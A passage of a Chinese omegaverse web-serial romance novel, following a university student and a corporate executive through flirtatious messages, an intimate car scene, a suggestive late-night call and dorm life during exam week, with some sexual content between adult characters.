或许只能如张芸说的那样——未来会告诉她答案 不过她有种莫名的直觉,她不是最近才走进了这片看不清摸不着的迷雾,应该在很久之前,她就陷阱去,只是她没有察觉。 握在掌心的手机震了一声,姜映回神拿起来看了看,她自己都没意识她,茫然无措的眼睛瞬间亮了起来。 程卿言:【回碚城了吗?】 姜映快速回复:【在大巴上了,还有半个小时就能到】 程卿言:【嗯】 姜映想了想:【你在工作吗?】 程卿言:【刚结束一场会议,有些累,准备休息半个小时】 姜映体贴:【那你好好休息,不用和我发消息了】 程卿言隔了半分钟回她:【呵,行,睡了】 姜映疑惑地眨眨眼,歪着头思考,“呵”是什么意思,“行”又是什么意思。 她知道这两个词单独用的时候有阴阳怪气的含义,可女人为什么要阴阳怪气她? 应该是她想多了。 说不准是程卿言的口头禅,姜映眉眼弯弯,女人的口头禅真可爱。 呵。 行。 可爱。 可惜她看不见她的神情,姜映瞥了眼屏幕右上角的时间,分开不过半天,她好像又想见她了。 想听女人叫她的名字,想看女人眼眸中的自己,想女人捏她的脸。 姜映抬手摸了摸肩膀靠近锁骨那块肌肤,昨晚她抱着程卿言睡觉时,程卿言在上面咬了一口。 咬的不重,当时只感觉酥酥麻麻的,没有任何痛意,早上她洗漱时特意照了镜子,被咬过的那块肌肤上没有留下任何痕迹。 姜映的皮肤嫩白细腻,平时轻轻一碰,就能弄出痕迹,可她的恢复能力强,即使弄出伤口,用不了两天也能恢复得七七八八。 若是程卿言能要咬重点,说不准她就能看见她在她身上留下的痕迹了,姜映有些遗憾。 她不会觉得痛,不会觉得难受。 姜映抿唇,想到了昨晚女人因为欲念而引起的难受,那到底是一种什么感觉? 她没有过这种经历,无法感同身受。 真的只是因欲念而引起的难受吗,会不会还有别的原因? 例如她在梦境中得知的信息素紊乱? 姜映的眉心拧了起来,无法百分之百确认这个信息是不是真的,之前秦助理让她帮忙给她程卿言挑选alpha,她也亲眼见到了她挑的alpha出现在女人家里。 亲眼见到过…… 如果她腺体是健康的,能分泌信息素,她当时可以闻见屋内有没有alph息素的味道,借此来推断女人是否患有信息素紊乱了。 目前只能怀疑,无法确认。 姜映在网上查过信息素紊乱的omega患者平时会出现的症状,但这些症状好像又没出现在程卿言身上。 可是她在不安。 心口猛地痛了几下,额头冒了冷汗,深深呼了几口气才缓过来。 她希望不会,祈求程卿言的腺体没有出问题。 一路上姜映想了很多对她而言复杂的事情,即使她精力好,从云县到碚城汽车站,再挤地铁回了学校,也比较疲倦了,有种电量耗尽,随时要晕过去的感觉。 寝室这会儿没人,林溪要假期结束那日才返校,周青月在图书馆复习。 姜映换上睡衣,定了闹钟,爬上床睡了一会儿。 半个小时后醒来,精力就恢复了。 她先给张芸发了消息,告诉她自己已经到学校了,又下意识给程卿言发消息:【姐姐我到了】 她等了一会儿,女人没有回复她,应该在忙。 姜映换衣服下床,背着书包出门,吃完晚饭就去了图书馆。 刚坐下,她收到了研究院回复的邮件,她的实习申请已经通过了,期末考试结束后她就可以去报道了。 不过研究所距离大学城这边比较远,通勤时间接近一个半小时,她不可能每日都这样往返,倒不是觉得辛苦,而是很浪费时间,所以她在提交实习申请时也一并申请了住宿。 回复好邮件,姜映静了静心,进入了学习状态。 将近凌晨那会儿,她约上周青月一起回了宿舍。 周青月瞧见她桌上放着的内衣手提袋,眼睛一亮,还没来得及说话,姜映就过去收了起来,咳了一声:“我买来送人的。” 周青月哦了一声,就低下头追剧了,过了两分钟她实在忍不住了,开口道:“是送给那位姐姐的吗?” 姜映脸颊微红,嗯了一声。 都到送贴身衣物的地步,姜映和那位姐姐到底发展到什么地步了啊,在暧昧,还是在一起了? 她从前见过这个内衣品牌,她妈咪就爱穿,设计属于成熟性感那一类。 姜映买来送那位姐姐…… 姜映谈起恋爱来是什么样子啊! 周青月很好奇,但她又不能细问,浑身不得劲儿,唉唉唉叹了几声气,跑去洗澡了。 姜映很感激她没有追问,喝了几口凉水,缓了缓羞意,看了眼手中的袋子,她得尽快给女人送过去。 思忖片刻,给女人发了消息:【姐姐你什么时候回碚城?】 十多分钟后程卿言回复她:【明天傍晚回来】 明日是元旦假期最后一天,姜映问道:【如果你回来有空,我可以见你一面吗?】 程卿言:【想我了?】 姜映颤睫,像是小心思被戳破了一般,浑身热热的,她确实想她,下午回碚城的路上一直想她,在图书馆学习的时候也时不时走神想她,老实且羞涩地回复:【嗯】 程卿言:【嗯?】 姜映继续喝凉水:【嗯】 程卿言:【别嗯,说明白,我想听】 姜映快冒烟了,打字的手在颤抖:【想姐姐了】 发了消息,立马紧闭双眼,不好意思看屏幕,心脏砰砰砰地跳,二十多秒后才缓缓睁,一躲一闪地看向聊天界面。 程卿言:【明天可以见面,到了之后我给你发消息】 姜映呼了口热气,还好女人没调侃她,女人真好,她嘴角弯了弯:【好的,你下班了吗】 程卿言:【下了,已经在酒店了,正在脱衣服准备洗澡】 姜映脸热:【那你先忙,姐姐再见】 程卿言:【不和我聊天了?】 姜映:【啊?】 程卿言:【不是说想我吗,那么快就不想了?】 姜映:【你不是要洗澡吗】 程卿言:【洗澡不能聊?】 姜映眨眼愣了几秒,福至心灵,明白过来女人的意思:【是打电话吗?】 程卿言:【呵,我洗澡了,不聊了】 啊。 又“呵”了。 可爱。 姜映眉眼弯弯:【好的】 周青月进来时,瞧见了低着头看着手机,满脸傻笑的姜映,应该又是在和那位姐姐聊天了,她进来了都不知道。 呜呜呜呜。 好想问,到底是什么姐姐有这么大的魅力把她清冷寡淡的室友迷成这样了。 她憋得慌,憋得胸口发闷,又谈了几声气。 “怎么了?”姜映放下手机,抬头看着她,“身体不舒服了?” 周青月说叹气,摆手:“没事,就是有点不得劲儿。” 姜映关心:“是不是最近复习太累了,需要我帮你重新调整一下复习节奏吗?” “不用了,我看点小甜文恋爱剧就恢复了,你忙吧,我上床了。”周青月说。 姜映应了声好,片刻后放下手机,也去洗漱了。 * 翌日。 元旦假期的最后一天。 姜映醒得很早,生物钟恢复了正常,上午在图书馆自习,下午她就不太能学进去,有些心浮气躁,学一会儿就得拿起手机看一看。 直到傍晚六点半那会儿,她收到了程卿言发来的消息:【马上到你学校附近了】 姜映嘴角微扬,快速起身,背着书包走出了奶茶店。 下午她没去图书馆,也没在寝室,而是早早地来了校门口的奶茶店坐着,很快走到了女人停车的老位子等着。 两分钟后卡宴车出现在视野里,停在了她眼前。 姜映心跳有些快,熟练地拉车门坐上去。 秦助理识趣地拉车门下车。 姜映和她对视一眼,红着脸点了点头,打了招呼。 待她做坐下后,程卿言轻笑一声,看着女生的眼眸:“等我多久了?” 姜映哪里好意思说她在奶茶店坐了一下午,眼神躲闪,含糊道:“没有多久。” 程卿言眉微轻扬,倒也没追问,认真地看着alpha慢慢脸红的脸,先是红了脸颊,而后又是耳垂,脖子…… 她既没说什么调侃的话,也没做什么令她害羞的事,这人虽然爱脸红,但也不会无缘无故红成这样。 不对劲儿,肯定有事。 果不其然。 没过一会儿,就瞧见女生打开书包,羞涩地递给她一个袋子,程卿言看了眼袋子上的logo,有些惊喜地扬了扬嘴角,明知道是什么,她问:“给我买了什么?” “嗯…就是贴身衣物…”姜映羞涩不已,她第一次送人内衣裤,感觉好暧昧,怕女人误会,赶忙解释,“上次你借了我,我得还给你。” 原来是还,不是送。 程卿言不乐意地哼了一声,她问:“你亲自去店里买的吗?” 姜映点头。 程卿言心情又好了起来,动了动纤纤细手,打开袋子,拿出里面的包装盒,再打开盒子,瞧见alpha给她挑选的款式时,挑眉嗯了一声。 姜映有些紧张:“导购说你给我那一款已经不售卖了,这款和那一款是一个类型的,你…你…喜欢吗……” “喜欢,”程卿言指尖挑起内衣,“还买了内衣?” “导购说是套装,不能分开售卖,”姜映红着脸,声音小小的,“你看看大小合适吗……” 程卿言看了眼内衣的尺码,抬眸认真地看向alpha,笑着问:“想我告诉你?” “想。” 女人又问:“有多想?” “很,很想。” 姜映神色虽然害羞,声音很轻,但害羞中又带了坚定,她很想知道女人穿多大的内衣,想验证突然出现在脑子里的尺码到底是不是程卿言的。 程卿言眸光颤动,拉起alpha细瘦的手腕,放在心口处的圆润起伏上,带着她按下去,嗓音低而哑:“自己量……” 作者有话说: 晚安,明天见 第58章 叫我 叫我 第五十八章 车窗紧闭着,开着暖气,淡淡的青竹香氛在鼻尖蔓延,灯光昏暗。 呼吸声一深一浅。 omaga和alpha的掌心都冒了汗,在微微发颤。 程卿言覆在alpha手上的掌心在发颤,alpha放在她上的掌心也在颤抖。 轻微。 但在安静到能听见彼此呼吸声的环境中,任何风吹草动都会被放大无数倍。 程卿言平日里所到的地方都有暖气,温度和湿度都由专业的设备控制着,很少在寒风中行走奔波,因此四季的气温变化对她的穿着打扮影响不大。 此刻她的西装外套搭在座椅上,身上只穿了一件白色的缎面衬衫,薄而软,易皱,质感上层。 因此,alpha的掌心按上去时,内里的轮廓显现出来,很明显。 力量是能传递的,她用什么力度按女生的手背,女生的掌心就以同样的力度回馈。 她重,她感受到的就是重,她轻,她感受到的就是轻,她握拢,松开…… 她是承受者,也是指挥者。 没反应过来,出于愣神中的alpha眸光炽热,就跟着她如此握着她。 衬衫很薄,里面还有一层内衣,按理说她不会感受到alpha掌心的温度,可对方的手实在是太烫了,感受到那一秒,程卿言浑身一颤,腰腹那块随之缩了缩,仿佛没了力气,她下巴落在了对方的肩上,闭上眼发出了一声闷哼。 “啊……” 耳边的一声低吟瞬间让脑子炸开了花,姜映猛得回神,收回了烫得可以煎鸡蛋的手,浑身发热,额头上全是汗。 亮亮的眼眸中此刻慢是震惊。 她,她刚才做了什么…… 她是不是做坏事了,她为什么不收回手,还捏了几下。 姜映在暖风中凌乱,脑子一片空白泛着麻,急得红了眼尾,结结巴巴道:“姐姐我…我……” “别吵……”程卿言还没缓过劲儿,依旧闭着眼睛趴在她肩上,指尖软绵绵地揪了揪女生的耳朵,“别动,安静一会儿。” 姜映浑身僵硬,颤着眼睫,一动不动。 一两分钟过去,女人才直起腰肢,脸颊离开了她的肩膀。 程卿言深呼一口气,靠着座椅,下巴指了指前方的苏打水:“我渴了。” 姜映拿起来,快速给她拧开瓶盖,递给她。 程卿言喝了几口凉水,体内的那份被勾起来的躁热才勉强压了下去,她这是杀敌八百自损一千啊。 姜映什么反应都没有,她自己惹了一身火。 程卿言幽幽地嗔了alpha一眼,狗东西年纪轻轻,真的不行吗? 姜映掌心一紧,着急而担忧地问道:“是不是弄疼你了?” 她也不知道她方才怎么了,不主动收回手,脑子也不听使唤。 虽然是女人握着她的手按上去的,可是女人的力气没她大,她可以挣脱开的。 都是她的错。 疼什么疼。 这小傻子。 程卿言看着她:“如果疼的话,你要帮我揉一揉吗?” 啊? 姜映惊慌地看着她,眼睫像受了惊的小动物一般颤动着,说不出话来。 程卿言哼了一声,既然不帮她,她就不疼:“我没事。” 姜映捏了捏手腕上的红绳:“我……” 程卿言打算:“不许道歉,我允许你摸。” 姜映又闭上嘴,听话地嗯了一声,碰过女人的掌心麻麻的,好麻,又热又麻。 她轻轻看了眼女人胸口的位子,瞧见那快衣料被弄的好皱,脸瞬间又红了。 是她弄出来的,她记得女人说过,讨厌弄皱衣服。 她得赔她一件衬衫。 程卿言不知道女生又在谋划着给她买衣服了,她重新拿起内衣,问道:“感受到我穿什么尺码了吗?” 姜映回神,红着眼尾,无辜又茫然地摇头。 她摸不出来。 她很没用。 程卿言嘴角扬起,笑了一声:“再摸摸?” 姜映立马拒绝:“不用了。” 程卿言看着她:“你嫌弃?” “没有。”姜映坚定道。 程卿言:“那为什么不愿意?” 姜映羞耻地低下头:“我不习惯……” 程卿言指尖抬起她的头,看着她的眼睛,气场十足:“那你喜不喜欢吗?” 和习不习惯无关,和害不害羞无关,只问喜不喜欢。 姜映心跳很快,捏着掌心安静片刻,好像在听她心的声音,她喜欢她触碰女人时感觉吗? 浑身麻麻的,细小的汗毛立了起来,脑子有些空白。 “喜欢的……” 她无法欺骗自己,她是喜欢那种感觉的。 程卿言满意了,心情愉悦,眼眸含笑看着她,告诉她答案:“你挑的正好是我的尺码,很适合。” 女生居然能买这么准,她也有些意外。 猜出来的? 还是眼神好,平时看出来的? 手机响了眼神,是秦助理发来的提醒她时间的消息,程卿言看了眼又开始发愣的女生,捏了捏她的脸:“我得回公司开会了。” 姜映颤睫,嗯了一声。 这会儿天已经黑透,马上七点了,女人才从云县回来,居然还有会公司开会,好辛苦。 那女人是特意过来见她的吗? 因为她说她想见她。 姜映心脏扑通扑通跳,有些想问,犹豫片刻道:“姐姐。” 程卿言:“嗯?” 姜映:“你是特意过来见我的吗?” 不然? 程卿言挑眉:“自己想。” 对方不告诉她,姜映眨眨眼,哦了一声。 程卿言不能久留了,她最近真的很忙,行程安排的很满,能过来见她十来分钟,已经是极限了。 “过来一点,让我抱一抱。” “哦,好。” 女生身体前倾,程卿言顺势将她揽在了怀里,发出了一声叹气,疲倦又缱绻。 姜映能感受到她的累,很累,好似一口即将枯竭的古井,让她心口颤了几下,在女人要松开她时,她主动抬手回抱住了她,轻轻地问:“要不要再抱一会儿?” 程卿言嗯了一声,她确实想多抱一会儿,女生身上有种让她感到她放松的魔力,可是:“我得去公司了。” “我陪你去,等你到了公司,我再打车回来,”姜映担心她不答应,继续道,“我的学习任务已经完成了,晚上没事情做,很闲,特别有空。” 程卿言摸着她的散落在背脊上的发尾,听着她说话,闭上眼笑了一声。 * 两分钟后。 在奶茶店望风的秦助理收到了一条消息。 程卿言:【秦助理可以出发了,麻烦你上来开车】 秦助理瞳孔震惊,一颗珍珠卡在喉咙,猛得咳嗽起来,差点英年早逝了,好在咽了下去。 老板对她说“麻烦”二字? 麻烦?! 好吓人啊。 她是不是最近犯了什么错,要被开除了。 秦助理提起电脑,飞奔过去,拉开驾驶座的车门,正要开口说话,话到嘴边又咽了下去。 姜映乖乖地坐在后排座上,食指竖在嘴上,给她比了个安静的手势。 秦助理点头,眸光下移,看了看头枕在姜映腿上,阖着眼睫躺在后排座上睡觉的程卿言。 心中一阵感触,鼻尖忽然酸酸的。 她毕业那年就进了程氏,竞争很激烈,是程卿言在众多面试者里选中了简历不是最优秀的她。 工作虽然辛苦,可是她乐在其中,短短几年获得的报酬,享受的福利待遇,是很多人奋斗一辈子都无法到达的程度。 这些年她一直跟着程卿言,没有换过老板。 因此她知道程卿言这些年有多辛苦,压力有多大,很难有放松的时候,从未像此刻这样,如此平静安稳地睡在别人腿上,对别人露出疲倦脆弱的一面。 姜映。 好人。 秦助理认可地看了她一眼,她没发出任何声音,安静地启动车子,驾驶技术好,全神贯注开车,一路稳当。 姜映也坐得端端正正,没有变换过坐姿,没有拿起手机学习,清澈柔和的目光落在女人脸上,专注地看着她。 想珍藏这一刻,想停留在这一刻,时间不要再往前走,就停在此刻。 她的脑子里又冒出了这种奇怪的念头。 姜映轻呼一口气,感觉头有些涨涨的疼,不是磕着碰着那种疼,也不是感冒发烧那种疼。 有点像竹笋破土而出,冒出嫩芽那一瞬间的疼,说是疼,不如说是生长。 是生长的感觉,好像脑子内有竹笋在生长。 快到程氏大楼时,程卿言忽然开口道:“在离公司最近的地铁站停一下。” “好的程总。”秦助理应道。 话音落下后,程卿言才缓缓睁开眼,坐了起来,看了看女生青涩的脸:“腿麻吗?” 姜映摇头,朝她笑了一下:“不麻。” 腿不麻,她的手还麻着,没恢复过来。 “你睡着了没?”她问。 程卿言没有逗她,如实道:“没睡着,不过就这样躺一会儿也很舒服。” 她对睡觉的环境要求比较高,即使有女生在身边,躺在小小的座位上,确实不容易睡着。 身体上依旧疲倦,精神上的疲倦已经没了。 这样就足够了。 很快,车靠边停下,姜映看着她道:“那我回去了。” 程卿言摸了摸她的脸,柔声道:“不要挤地铁了,打专车回去,我来付钱,不许拒绝。” 姜映眨了眨眼,应了一声好。 女生下车后,车子便启动了,没有在原定久留。 程卿言按下车窗,回头看向车后逐渐缩小的建筑物,以及一直站在路边看着她离开的女生。 距离模糊了女生青涩秀气的面容,高挑挺拔的身影。 直到车子转了弯,程卿言才关上车窗,随风翩飞的发梢安分地落在了胸前,她轻轻呼了口气。 怎么形容呢,她好像有点懂了从前余简予为什么出差也要带着小情人了,就在方才,她也生出一种不想和女生分开,想带着她去公司加班的冲动。 很浓烈的念头在她心间荡漾着。 若不是考虑到姜映跟着她去了程氏,可能会给她招惹麻烦,影响到她安稳的生活,她真的会带着她。 程家的事还没处理清楚,她也并未彻底掌权,她还受限于老太太,无法随心所欲地做任何事情。 程卿言疲倦地揉了揉眉心,眸光深沉,科技园的项目不能出差错,与她而言太重要,她能否彻底掌握程氏,在此一举。 理了理心绪,几息过后她开口问道:“何助等儿会到公司吗?” 秦助理回复:“我刚才和她联系了,她还在医院守着她母亲,等会儿开会赶不回来,不过她已经把资料处理好发给我了,不会影响到工作。” 何助的母亲有精神方面的疾病,多年神志不清,前几个月何助请假就是回老家照顾她母亲。 今天何助比她们早回来半天,也是为了她母亲的事。 程卿言问道:“她母亲的情况好点了没?” 秦助理道:“我上周末去医院看望了她母亲,精神方面没有好转,还是原来的样子。” 但年纪大了,平时又不会表达,近一年又出现了别的毛病,所以何助在假期结束时带着她母亲一起来了碚城,碚城的医疗条件好,能得到更好的看护。 程卿言当初在招聘助理时,都是做详细的背调,知晓何助是在单亲家庭里长大的,从小到大一直和母亲相依为命。 “让她明天也别来公司了,放一天假,好好陪她母亲。” 秦助理应了声好:“我会转达她的。” 不过依照她对何助的了解,即使老板开口让她休息,只要没到万不得已的情况,她还是会来上班。 卡宴开进了程氏大楼的停车场,程卿言坐专属电梯上楼,先回了趟办公室。 办公室配套了休息室,浴室,准备的衣服也很齐全。 不过这会儿她没时间洗澡了,只是换掉了被女生揉得皱巴巴的衬衫,片刻后就迈着步子去了会议室。 前几日一直在云县分公司处理拆迁的事,公司对每户人家都做了详细的调查,也安排人去沟通过了,情况不太乐观。 有几户狮子大开口,坐地起价,索要巨额拆迁款的,也有几户连面都不愿意见,直接赶人,不同意拆迁的。 综合各种情况,公司根据专业分析,制定了差异化补偿策略,公司开出的拆迁款已经高于市价,不会让住户吃亏。程氏得盈利,不可能做亏本买卖,若是超出了内部设定的价格浮动空间,就不可能答应了。 因此还做了有关钉子户的预案。 会议开了将近两个小时,参与会议的人都是程卿言这些年提拔上来的心腹,事关重大,这些内容如果泄露出去,后果不堪设想。 会议结束那会儿,程卿言的体力已经透支了,没有急着离开,待大家都走后,她依旧坐在位子上,安安静静地看着精致奢华的会议室,看着她奋斗多年的位子,她得把位子坐稳。 休息了几分钟,起身离开,鞋跟在地板上踩出了哒哒哒的声响,逐渐远离,重归安静。 在员工食堂吃了晚饭,程卿言回了办公室继续加班,秦助理见她脸色不太好,有些苍白,几次想开口劝说她回去休息,终究没开口。 她作为助理,把老板交给她的任务做好,多为老板分担工作,才是她能给的最大帮助。 轻飘飘劝说的话没有什么用,即使说了,程卿言也不会听。 将近凌晨,程卿言才回了月泊林,拉面丸子几天没见到她,听见响动,立马从狗窝爬起来,兴奋地跑到让身边迎接她。 呜呜呜呜地叫着,眼睛澄澈,撒娇卖萌的样子让程卿言想到了姜映。 女生在她跟前也时常露出这样的眼神。 程卿言嘴角扬起,坐在沙发上摸着拉面丸子毛茸茸的狗头,拉面丸子和她互动着,呜呜呜呜地添她的手,十分主动热情。 这一点就和姜映不像了。 姜映那害羞的性子,可不会对她这么热情,更不可能舔她。 程卿言眼眸颤了颤,重重呼了口气,陪着拉面丸子玩了十来分钟,就回房间了。 她得休息了。 拿了睡袍,去浴室洗澡。 脱下身上的衣物,女人不经意间看了底裤,痕迹已经干了,但她记得她当时的身体有多敏感,只是心口的起伏处被轻轻碰了碰,还隔着衣服和内衣,她就那样快…… 也只有坏东西看不出来她当时怎么了。 呵。 程卿言将衣物丢掉,她也不知道她是该开心,还是该生气。 喜欢上这么个坏东西。 真拿她没办法。 太过疲倦,程卿言没精力泡澡了,快速洗了澡后便上床躺着了。 卧室里开着暖黄的夜灯,她阖着眼躺了一会儿,疲倦但睡不着,体内一直有种躁意消不下去。 坏东西留在她体内的躁意。 忙工作的时候这份躁意不会出现,夜深人静,她独自躺在床上,这些念想涌来出来,不太舒服。 程卿言呼了口气,坐起来拉开床头柜,拿出她需要的粉色物件。 躺下,打开,嗡嗡嗡的震动声响起,被褥随之颤动着,女人拧了拧眉心,总觉得不够,像卡住了一半,不上不下,有些难受地喘了几口气。 枕边的手机也响了一声,这种时候她根本不会去理会,可福至心灵,感觉是她想的人发来的消息。 抓着床单那只手从被子里拿了出来,点开手机看了一眼。 姜映:【姐姐你休息了吗?】 微弱暖黄的灯光下,程卿言眸光晦暗朦胧,眼尾泛起了红,直接打了语音过去。 两秒后耳边响起了alpha的清润而羞涩的声音。 “姐姐。” 程卿言额头覆了汗,抬了抬腰肢,腰腹轻轻颤抖,在持续响着的嗡嗡嗡声中,她有些难捱地嗯了一声,哑着声音道。 “继续,叫我……” 作者有话说: 差异化补偿策略,价格浮动空间,钉子户预案——词汇来源网络 晚安,明天见 第59章 准备 准备 第五十九章 继续叫她? 年轻的alpha站在寝室楼的阳台上,冷风呼呼吹在脸上,吹在握着手机的手上,眼眸闪过些困惑。 姜映只是想关心女人,想问问她下班了没,没想到女人会直接给她打电话过来。 毕竟已经深夜。 她已经洗了澡,身上穿着睡衣睡裤,不方便下楼,寝室里又有周青月,她只能跑来阳台,关上了阳台的门,心跳有些快,接通了女人给她打的语音。 阳台门隔音不好,深夜又很安静,姜映只能压低嗓子,很小声地说话,打招呼叫了一声姐姐。 可程卿言为什么让她继续叫她? 姜映颤了颤眼睫,因为她说话声音太小了,没听清楚吗? 于是她乖乖地又叫了一声。 “姐姐。” 声音稍稍大了一些,但嗓音依旧偏低,不敢放声叫。 姜映叫了之后,等了几秒,没有人回应她,她再次出声:“姐姐?” 依旧没有得到女人的回复,不过她稍稍发现了异样,通过手机传过来的女人的呼吸声变重了,断断续续,好像还有些哽咽。 姜映颤睫,询问道:“姐姐你怎么了?” “嗯……” 低沉沙哑的闷哼声传入她耳畔。 姜映的耳朵像是有自己的意识,瞬间热了起来,热得她不太舒服,就像傍晚她的掌心在触碰过女人后产生的那种热意,又烫又麻,冷风也吹不散的热。 她这是怎么了? 不过她暂时没去想自己,她更关心程卿言,程卿言为什么一直不说话,她担忧道:“姐姐你听得见我说话吗?” “听见了……” 程卿言睁开眼,绯红的眼尾泛起了泪,紧皱着的眉心缓缓松开,像泄力一般发出一声喟叹,放在小腹上的掌心感受着事后的颤动,深深呼了一口气。 姜映哦一声,关心道:“你刚才怎么了,是不是身体不舒服?” 程卿言脸颊蹭了蹭枕头,浅浅地笑了一声,由于嗓子还是哑的,还带着几分软绵绵,听见来很蛊人:“很舒服。” 姜映耳朵发痒,没太明白:“嗯?” “身体很舒服……”程卿言告诉她。 姜映哦了一声,没事就好。 程卿言缓缓道:“你的声音好听,叫得很好听,我喜欢。” 啊? 怎么突然夸她了。 姜映不好意地眨了眨眼,单纯的礼尚往来,她也夸:“你的声音也很好听。” 程卿言听后,不太单纯地安静了几息。 姜映颤着眼睫问道:“你还需要我叫你吗?” 女人喜欢听她叫姐姐,她愿意叫给她听了。 “这次不用了,下次吧。” “嗯,你想听的时候可以给我打电话。” “随时都可以?” “只要我能接,都可以的。” 姜映在回这话时,脑子里想的是,如果女人打电话时她在上课,她就悄悄溜出去接电话。 程卿言笑了一声:“你在寝室?” 姜映:“对的。” “刚才给我发消息,是有什么事吗?” “没什么,就是问问你睡了没。” “就这样?” “嗯。” “不是想我了?” 姜映脸热:“也,也想了……” “姜映啊,”程卿言侧身躺在床上,眸光落在床头的青竹摆件上,嘴角扬起,“你这么想我,会不会影响你的学习?” 姜映眨眼,最近的状态被女人直白地说了出来,不太好意思回答了。 她没说话,程卿言懂了她的意思,又笑了一声。 只是这样单纯地想想她,都能影响到学习啊,若是成绩下降了,她是不是也得负责。 她忽然觉得姜映“不行”其实也有好处,不会去想那些情爱的事,不会像她一样被欲念分散精力,不让就更容易影响学习了。 和她聊了一会儿,身体得到满足,精神也得到了放松,程卿言有些困了,声音柔柔的:“我想睡觉了。” 姜映嗯了一声,给她道了声晚安,挂断了电话。 瞥了眼屏幕右上角的时间,快凌晨一点了。 她揉了揉脸颊,拉开阳台门,刚走进寝室,周青月就飞奔出去,径直跑向了厕所。 等她出来后,姜映对她说:“不好意思啊,耽误你上厕所了。” 周青月摆摆手,笑着说:“小事,你谈恋爱重要些。” “我,我没谈。”姜映颤睫,立马道。 还没谈上? 跑去阳台打电话,吹了几分钟的刺骨寒风,额头都出汗了,脸也很红润,明显就是热到了。 这不就是小情侣打电话的状态吗? 周青月有些看不懂,但她又不能问,到底是什么蛊惑人心的姐姐啊,她抓耳挠腮:“映啊,你和那位姐姐的事,如果以后可以说了,你一定得告诉我。” 姜映愣了一下:“你怎么知道我是和她打语音?” 周青月摇头,叹气:“你脸上写着的。” 她学习比不上姜映,这些方面可比她强一些,那么明显,如果她都瞧不出来,就白看那么多小说和电视剧了。 很明显吗? 寝室熄灯后,姜映有些茫然地躺在床上,她的状态很像谈恋爱吗? 可是她和程卿言没有谈恋爱。 她也没有谈恋爱的想法,她现在就很满足了,能见到她,能和她说话,能感受到她的气息。 很满足了。 只要程卿言能开心,她就会开心。 不过女人方才说的身体很舒服是什么意思,还有那几声低沉沙哑的呼吸声又是怎么回事? 姜映暂时也想不明白,摸了摸还有些痒的耳畔,她只是觉得,好好听。 女人方才的呼吸声,很好听。 可惜只听了短短的十几秒就消失了,姜映颤着眼睫,不知道日后还能不能听到女人发出这样的声音。 她还想听。 要是语音通话有回放功能就好了,她可以将那段声音提取出来,多听几次。 脑子里回味着女人的呼吸声,不知不觉中睡着了。 元旦假期结束。 碚城大学的学生陆陆续续进入了考试周,作为全国顶尖的学府,每年试卷的难度都不小,夜里的图书馆灯火通明,整夜不歇。 每个学院的考试安排不一样,考试时间也不一样。 寝室三人中,姜映最先开考,为期四天,等她考完之后,林溪和周青月才开始考试。 不过姜映一点也不慌张,期末考对她而言难度不大,这段时间她去图书馆是在准备实习的内容。 第二天考的科目最多,晚上也有一场,姜映提前了半个小时交卷,回到寝室时才八点出头。 周青月和林溪一点也不奇怪她为什么回来这么早,对方每年都是这样的,她们已经习惯了,如果不是考试要求规定最多只能提前半个小时,姜映会回来的更早。 姜映见她们都在,问道:“你们今晚怎么没去图书馆?” 林溪是因为今晚不想去,想在寝室复习。 周青月放下手机,激动地说:“我等会儿要抢票,图书馆人太多了,网速不好。” “演唱会的门票吗?”姜映问。 周青月摇头:“是云秋染生日见面会的门票!” 她是云秋染的颜粉和事业粉,今年是云秋染出道的第十周年,也是云秋染的二十八岁生日,为了回馈粉丝,工作室特意策划的活动。 姜映和她聊天:“是不是不好抢?” “当然啊,她粉丝这么多,男女老少各个年龄段的人都有,她平时除了进组还是进组,大型的颁奖活动都很少参加,我都不敢想这次的票有多难抢,”周青月捂着心,“我还没见过她真人,我好想见她啊,你们没有粉她,不懂我想见她的心情。” 姜映和林溪同时愣了一下,都在想:其实我见过。 不过她们不敢说,也不能说,怕刺激到周青月。 姜映:“需要我帮你抢吗?” “帮不了的,这次是实名制,只能登一个账号。” 如果不这样,黄牛会很猖獗,对普通粉丝会很不公平,那就违背了云秋染开见面会的初衷。 周青月:“还有十多分钟开抢,祝我好运吧。” 姜映真诚祝福:“希望你能抢到票。” “祝你好运,抢票成功。”林溪给她打气。 担心影响到周青月发挥,这十多分钟里寝室保持着安静,大家都没发出任何声响,时间一秒一秒地往前走。 周青月全神贯注,紧张得不行,心跳非常快,时间一到,她立马开抢,疯狂点屏幕。 片刻后,垂头丧气地出声。 “没抢到……” 她正难受,不只是哪一栋宿舍楼的姐妹发出了一声震耳欲聋的尖叫,响彻云霄。 “啊啊啊!抢到了!!” 让周青月本就难受的心,更加难受了,羡慕得眼睛都红了。 林溪安慰她:“你已经很棒了,那么多人抢票,抢不到也不怪你。” 姜映也安慰她:“这次没抢到,下一次说不准就抢到了。” 下一次是什么时候,十年之后。 十年之后还不一定会有这种活动。 周青月难受,扯纸巾擦眼泪,啜泣道:“你们别担心我,我哭会儿就好了。” 她爱好广泛,喜欢的明星不只是云秋染,她还爱别人,这里没抢的,可以去看别人。 她会这么伤心,只是因为云秋染的活动太少,见面太难了。 在她伤心这会儿,林溪给她剥了橘子,姜映给她削了苹果,她们甚至商量着叫外卖,给她点她喜欢吃的烧烤,让她开心起来。 周青月吸了吸鼻子,赶忙阻止:“别点别点,我缓过来了。” “真的吗?” “嗯。” “真的不点烧烤?” “那要不还是点几串吧。” 三人你看我我看你,对视几眼,一起笑了几声,下单点了烧烤,选的店就在碚大校门那条街,很快外卖就送到了寝室楼下,姜映下楼取了回来。 点的不多,担心吃多了会拉肚子影响考试,过过嘴瘾就行了。 周青月的情绪也缓过来了,十年后再战就是,她不信她一直抢不到,未来一定有机会见到云秋染的。 到时候说不准她运气超好,可以和云秋染说上话,拍合照等等。 停停停,再想下去,可能还会觉得她们能坐一桌吃饭了。 她也是敢想。 收拾好垃圾后,周青月拿起手机点进了热搜,全是与云秋染见面会有关的词条。 票一秒没,很多人都没抢到,都聚在一起伤心,互相安慰。 最开始出现的评论都是正向积极的,期待新剧,期待见面会,夸演技,夸人气旺。 但很快就出现了一些诋毁的评论,像是有人带节奏一般,瞬间出现了很多- 云秋染她开见面会能做什么,表演聊天吗,为了圈钱真是什么要干- 楼上是谁家的粉丝来这里黑,黑之前能了解一下情况吗,见面会不收门票,还圈钱,圈你祖宗十八代的钱吗,滚- 表演聊天?你是在说你家的正主吗,云秋染最初可是在选秀中以唱跳第一名出道的,第一名出道的!只不过她演戏的天赋更好,更好,后来转型了,可不能因为她在影视上获奖无数,就忘了她唱跳俱佳- 现在网上还能搜到她的舞台,只要眼睫不瞎,都能瞧见- 哈,选秀第一名又怎么样,演戏获奖无数又怎么样,谁知道身后傍了多少大佬,这些成就是这么来的- 